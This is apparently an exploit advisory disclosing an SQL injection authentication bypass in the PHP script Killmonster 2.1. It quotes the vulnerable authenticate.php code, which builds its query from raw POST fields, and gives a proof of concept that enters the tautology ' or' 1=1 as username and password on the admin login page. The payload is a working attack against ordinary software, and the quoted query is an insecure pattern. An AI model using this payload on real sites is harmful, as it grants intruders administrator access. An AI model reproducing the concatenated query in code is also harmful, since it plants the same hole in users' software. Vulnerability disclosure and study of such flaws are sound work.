Killmonster <= 2.1 (Auth Bypass) SQL Injection Vulnerability

[+] Killmonster &#60;= 2.1 (Auth Bypass) SQL Injection Vulnerability [+] Discovered by cr4wl3r &#60;cr4wl3r[!]linuxmail.org&#62; [+] Download : http://scripts.ringsworld.com/games-and-entertainment/km2/ [+] Vuln Code : [login.php] &#60;form method=&#34;POST&#34; action=&#34;authenticate.php&#34;&#62; Type Username Here: &#60;input type=&#34;text&#34; name=&#34;isadmin&#34; size=&#34;15&#34;&#62;&#60;br&#62; Type Password Here: &#60;input type=&#34;password&#34; name=&#34;password&#34; size=&#34;15&#34; mask=&#34;x&#34;&#62;&#60;br&#62; &#60;input type=&#34;submit&#34; value=&#34;submit&#34; name=&#34;submit&#34;&#62; [authenticate.php] $isadmin=$_POST[&#39;isadmin&#39;]; $password=$_POST[&#39;password&#39;]; $password=md5($password); $query = &#34;select * from km_admins where username=&#39;$isadmin&#39; and password=&#39;$password&#39;&#34;; $result = mysql_query($query) ; [+] PoC : [Killmonster_path]/admin/login.php username : &#39; or&#39; 1=1 password : &#39; or&#39; 1=1